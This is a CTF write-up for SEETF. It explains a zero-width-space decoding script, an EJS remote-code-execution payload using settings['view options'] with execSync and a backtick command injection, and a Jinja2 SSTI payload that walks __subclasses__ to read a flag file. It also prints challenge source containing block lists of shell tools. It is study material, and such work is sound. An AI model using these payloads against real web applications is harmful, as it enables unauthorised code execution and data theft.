# SEETF WRITE UP #
#### This is the first CTF that my team ends 27, which is a great achievement for us. ***phis1Ng__ go bruhhhhh***
### Overview:
- With the weight of 24.88, i thought that it gonna be an easy simple CTF, but NO, i didn't manage to get any of the web challenges.

- Luckily i managed to get one of the misc challenges, let us begin.
### Misc: NoCode

- The challenge gave us just a blank space, with nothing. But when we double click, we can definitely see there's something on it.

- So it could be some kind of encryption that makes everything goes invis.
- After some googling, i found out that its zero-width space character.


- Zero-width space character, or ZWSP is a non printable character. Opening in VsCode got this.

- Now let's figure out how to decode this.
- Reading this gives us the answer.
https://viblo.asia/p/ky-tu-zero-width-sat-thu-vo-hinh-nam-giua-doan-van-ban-thuan-vo-hai-L4x5xM7qKBM

- Basically, we would replace space with 0 and zero-width character with 1, or the opposite. Let's write a script to decode it.
```python
def decode1(invis_string):
binary_string = ''
for byte in invis_string:
if byte == 32:
binary_string += '0'
elif byte == 226:
binary_string += '1'
return binary_string
def decode2(invis_string):
binary_string = ''
for byte in invis_string:
if byte == 32:
binary_string += '1'
elif byte == 226:
binary_string += '0'
return binary_string
with open('something', 'rb') as file:
byte_data = file.read()
binary_string1 = decode1(byte_data)
binary_string2 = decode2(byte_data)
print('Decode 1:', binary_string1)
print('Decode 2:', binary_string2)
```
- Take 2 binary strings, and convert them to ascii, we got the flag from the __decode2__ function.

***flag: SEE{vanilla.js.org_dfe6a05ccbec9bda49cd1b70b2692b45}***
## After Contest
- During the event, i couldn't solve any of the web challenges, so after the event i started working on them
### 1. Express JavaScript Security
- This is the first web challenge and it got a real-world tag. LOL

- The challenge really made me mad since i got the payload so close to correct but the time is over. Let's begin btw.

#### a) Source code
- Let's look at the source code for the web app.
```javascript!
const express = require('express');
const ejs = require('ejs');
const app = express();
app.set('view engine', 'ejs');
const BLACKLIST = [
"outputFunctionName",
"escapeFunction",
"localsName",
"destructuredLocals"
]
app.get('/', (req, res) => {
return res.render('index');
});
app.get('/greet', (req, res) => {
const data = JSON.stringify(req.query);
if (BLACKLIST.find((item) => data.includes(item))) {
return res.status(400).send('Can you not?');
}
return res.render('greet', {
...JSON.parse(data),
cache: false
});
});
app.listen(3000, () => {
console.log('Server listening on port 3000')
})
```
- The web basically takes a user input, and return it with __Hello <user_input>__.
- Looking at the source code, we can see that it is blacklisting out 4 function. goole about those 4 returns something what so called a ***prototype pollution***.
- __P/S__: I suck at this, because i never did it. Also, i'm also suck at JS, since i haven't learned it yet, YET. So if my explaination is wrong or hard to understand, consider googling for it, xDDD.
- The vulnerability lies in the /greet endpoint.
- First, the /greet takes in the data, which is from out request query, it then stringify it for later use.
- It then check in that string using ```find``` whether the string contains the blacklisted function, if so, returns 'Can you not?'
- It then use ```res.render``` to render the data. Basically, the render funtion takes in 3 things.

- Basically what it does is:
- Takes in the view, which is ```greet``` or in this case ```greet.ejs```.
- Then the locals, which is ```{
...JSON.parse(data),
cache: false
}```. The ```...``` is set so that all the data will be in one object, like ```{username=aaa, password=hello}``` for examples. But what now?
#### b) Analyze
- All 4 of the options are now filtered out. So what can we do? How about taking a look in the Nodejs source code? The website is using ejs, so let's have a look there.
- The ```render``` function renders out a Template, looking at funtion Template, we will know what option we need to use.
-

- ```options.escapeFunction``` is being set equal to ```opts.escape```. This means that we can use ```escape``` to replace for the filtered options.

- Now here, ```viewOPts = data.settings[' view options']```, if it's has a value or options, that value will be copied to opts. => __If we call ```settings['view options']``` with the value ```escape```, we can get RCE on the web page.__


- This part is known for being used as an RCE gadget. So calling ```settings['view options'][client]``` could lead to RCE on the web page.(**P/S: I still dont understand about this part much, read about it though but can't seem to understand much about it, guess it's skill issue**)
#### c) Exploit
- Now aboutthe payload, this is where i can't solve this challenge before the time is over. LOL sad.

- At first this is my payload:<br />
```&settings['view+options'][escape]=process.mainModule.require('child_process').execSync('/readflag')&settings[view+options][client]=aaa```<br />but it didn't work.
- Then I notice that in the ```readflag.c``` file got ```setuid(0)```, which means only admin can execute it. So what now??
- After the competition, I realize that we can use ```touch+`/readflag` ```. This would execute touch to create a new file, and the ```backtick /readflag``` would also execute and use the content after that execution to be used in the command touch. This should return an error, but it would also give us the outcome as well

***flag: SEE{0h_n0_h0w_d1d_y0u_ch4ng3_my_0pt10ns}***
### 2.file uploader 1
- This is a pretty straight forward challenge __SSTI to get the flag__.Let's begin.
#### a) Source code
```python
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, send_from_directory
import os
import uuid
import re
import sys
from waitress import serve
app = Flask(__name__)
app.secret_key = os.environ['secret_key']
UPLOAD_FOLDER = './static'
ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg', 'gif'}
def get_fileext(filename):
fileext = filename.rsplit('.', 1)[1].lower()
if '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS:
return fileext
return None
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method != 'POST':
return redirect(url_for('profile'))
# check if the post request has the file part
if 'file' not in request.files:
return redirect(url_for('profile'))
file = request.files['file']
# If the user does not select a file, the browser submits an empty file without a filename.
if file.filename == '':
return redirect(url_for('profile'))
fileext = get_fileext(file.filename)
file.seek(0, 2) # seeks the end of the file
filesize = file.tell() # tell at which byte we are
file.seek(0, 0) # go back to the beginning of the file
if fileext and filesize < 10*1024*1024:
if session['ext'] and os.path.exists(os.path.join(UPLOAD_FOLDER, session['uuid']+"."+session['ext'])):
os.remove(os.path.join(UPLOAD_FOLDER, session['uuid']+"."+session['ext']))
session['ext'] = fileext
filename = session['uuid']+"."+session['ext']
file.save(os.path.join(UPLOAD_FOLDER, filename))
return redirect(url_for('profile'))
else:
template = f"""
{file.filename} is not valid because it is too big or has the wrong extension
"""
l1 = ['+', '{{', '}}', '[2]', 'flask', 'os','config', 'subprocess', 'debug', 'read', 'write', 'exec', 'popen', 'import', 'request', '|', 'join', 'attr', 'globals', '\\']
l2 = ['aa-exec', 'agetty', 'alpine', 'ansible-playbook', 'ansible-test', 'aoss', 'apt', 'apt-get', 'aria2c', 'arj', 'arp', 'ascii-xfr', 'ascii85', 'ash', 'aspell', 'atobm', 'awk', 'aws', 'base', 'base32', 'base58', 'base64', 'basenc', 'basez', 'bash', 'batcat', 'bconsole', 'bpftrace', 'bridge', 'bundle', 'bundler', 'busctl', 'busybox', 'byebug', 'bzip2', 'c89', 'c99', 'cabal', 'cancel', 'capsh', 'cat', 'cdist', 'certbot', 'check_by_ssh', 'check_cups', 'check_log', 'check_memory', 'check_raid', 'check_ssl_cert', 'check_statusfile', 'chmod', 'choom', 'chown', 'chroot', 'cmp', 'cobc', 'column', 'comm', 'comm ', 'composer', 'cowsay', 'cowthink', 'cpan', 'cpio', 'cpulimit', 'crash', 'crontab', 'csh', 'csplit', 'csvtool', 'cupsfilter', 'curl', 'cut', 'dash', 'date', 'debug', 'debugfs', 'dialog', 'diff', 'dig', 'dir', 'distcc', 'dmesg', 'dmidecode', 'dmsetup', 'dnf', 'docker', 'dos2unix', 'dosbox', 'dotnet', 'dpkg', 'dstat', 'dvips', 'easy_install', 'echo', 'efax', 'elvish', 'emacs', 'env', 'eqn', 'espeak', 'exiftool', 'expand', 'expect', 'facter', 'file', 'find', 'finger', 'fish', 'flock', 'fmt', 'fold', 'fping', 'ftp', 'gawk', 'gcc', 'gcloud', 'gcore', 'gdb', 'gem', 'genie', 'genisoimage', 'ghc', 'ghci', 'gimp', 'ginsh', 'git', 'grc', 'grep', 'gtester', 'gzip', 'head', 'hexdump', 'highlight', 'hping3', 'iconv', 'ifconfig', 'iftop', 'install', 'ionice', 'irb', 'ispell', 'jjs', 'joe', 'join', 'journalctl', 'jrunscript', 'jtag', 'julia', 'knife', 'ksh', 'ksshell', 'ksu', 'kubectl', 'latex', 'latexmk', 'ld.so', 'ldconfig', 'less', 'less ', 'lftp', 'loginctl', 'logsave', 'look', 'ltrace', 'lua', 'lualatex', 'luatex', 'lwp-download', 'lwp-request', 'mail', 'make', 'man', 'mawk', 'more', 'mosquitto', 'mount', 'msfconsole', 'msgattrib', 'msgcat', 'msgconv', 'msgfilter', 'msgmerge', 'msguniq', 'mtr', 'multitime', 'mysql', 'nano', 'nasm', 'nawk', 'ncftp', 'neofetch', 'netstat', 'nft', 'nice', 'nmap', 'node', 'nohup', 'npm', 'nroff', 'nsenter', 'nslookup', 'octave', 'openssl', 'openvpn', 'openvt', 'opkg', 'pandoc', 'paste', 'pax', 'pdb', 'pdflatex', 'pdftex', 'perf', 'perl', 'perlbug', 'pexec', 'php', 'pic', 'pico', 'pidstat', 'ping', 'pip', 'pkexec', 'pkg', 'posh', 'pry', 'psftp', 'psql', 'ptx', 'puppet', 'pwsh', 'rake', 'readelf', 'red', 'redcarpet', 'redis', 'restic', 'rev', 'rlogin', 'rlwrap', 'route', 'rpm', 'rpmdb', 'rpmquery', 'rpmverify', 'rsync', 'rtorrent', 'ruby', 'run-mailcap', 'run-parts', 'rview', 'rvim', 'sash', 'scanmem', 'scp', 'screen', 'script', 'scrot', 'sed', 'service', 'setarch', 'setfacl', 'setlock', 'sftp', 'shuf', 'slsh', 'smbclient', 'snap', 'socat', 'socket', 'soelim', 'softlimit', 'sort', 'split', 'sqlite3', 'sqlmap', 'ssh', 'ssh-agent', 'ssh-keygen', 'ssh-keyscan', 'sshpass', 'start-stop-daemon', 'stdbuf', 'strace', 'strings', 'sysctl', 'systemctl', 'systemd-resolve', 'tac', 'tail', 'tar', 'task', 'taskset', 'tasksh', 'tbl', 'tclsh', 'tcpdump', 'tdbtool', 'tee', 'telnet', 'tex', 'tftp', 'time', 'timedatectl', 'timeout', 'tmate', 'tmux', 'top', 'torify', 'torsocks', 'touch', 'traceroute', 'troff', 'truncate', 'tshark', 'unexpand', 'uniq', 'unshare', 'unzip', 'update-alternatives', 'uudecode', 'uuencode', 'vagrant', 'valgrind', 'view', 'vigr', 'vim', 'vimdiff', 'vipw', 'virsh', 'volatility', 'w3m', 'wall', 'watch', 'wget', 'whiptail', 'whois', 'wireshark', 'wish', 'xargs', 'xdotool', 'xelatex', 'xetex', 'xmodmap', 'xmore', 'xpad', 'xxd', 'yarn', 'yash', 'yelp', 'yum', 'zathura', 'zip', 'zsh', 'zsoelim', 'zypper']
for i in l1:
if i in template.lower():
print(template, i, file=sys.stderr)
template = "nice try"
break
matches = re.findall(r"['\"](.*?)['\"]", template)
for match in matches:
print(match, file=sys.stderr)
if not re.match(r'^[a-zA-Z0-9 \/\.\-]+$', match):
template = "nice try"
break
for i in l2:
if i in match.lower():
print(i, file=sys.stderr)
template = "nice try"
break
return render_template_string(template)
@app.route('/')
def profile():
if 'uuid' in session:
uuuid = session['uuid']
ext = session['ext']
if not ext:
return render_template('profile.html')
else:
return render_template('profile.html', file_link="./uploads/"+uuuid+"."+ext)
else:
session['uuid'] = str(uuid.uuid4())
session['ext'] = None
return(render_template('profile.html'))
if __name__ == '__main__':
serve(app, host='0.0.0.0', port=5000)
```
- The source code is pretty straight forward, so i'' get straight to the vulnerable code, which is the ```/upload``` endpoint.
- If the request method is not ```POST``` or ```file``` is not exists, redirects to ```/profile```.
- It then check the file extension, file size, ... nothing interesting.
- Then we got a template variable, which would be render using ```render_template_string``` => __SSTI in Flask with Jinja2__. Let's analyze.
#### b) Analyze
- The template takes in the ```file.filename``` and render it out if the file is too big or wrong extension. If so, it uses ```render_template_string``` to render the template.
- The template got a lot of filters, which are use to filter out every funtion that can cause SSTI like ```import, os, ...``` and even ```{{}}```. So we need to find another way.
- After googling i found out that we can use ```{% %}``` to replace ```{{ }}```. But what now?
- With the placeholder ```{% %}```, we can pass in objects and classes, which then we can use to call to function and methods that we can use to retrieve the data. A simple and alternative way is use ```.__class__```.
- After that, we can call the ```__mro__``` or Method Resolution Order. By using this, the application will inherit in order. It plays a vital role in the context of multiple inheritance as single method may be found in multiple super classes.
- Now we can look at the ```__subclasses__```, find a class that has a function which would execute command for us.

#### c) Exploit
- So now we know what is multiple inheritance and inherit in order, let's build the payload.
- I found a write up that got similar payload to me, if you guys want to read, here it is.
https://github.com/TheMaccabees/ctf-writeups/blob/master/HexionCTF2020/Notes/README.md
- Basically in the mro we need to call to the last class which got the index of 1, then in the subclasses we need to find the correct index which has the ```_frozen_importlib_external.FileLoader``` class. That class contains a function called ```get_data``` which will return the data for us.
- Adding the payload to the filename to starting exploiting.
- Using Burp intruder should help us find the correct index.

- The index for the subclasses to call to is 99, use the get_data function to get the data from flag.txt.
- Final payload:
```{% print([].__class__.__mro__[1].__subclasses__()[99].get_data('something','flag.txt')) %}```

***flag: SEE{y0U_6yPa55Ed_FuNny_55t1_f1lTer5}***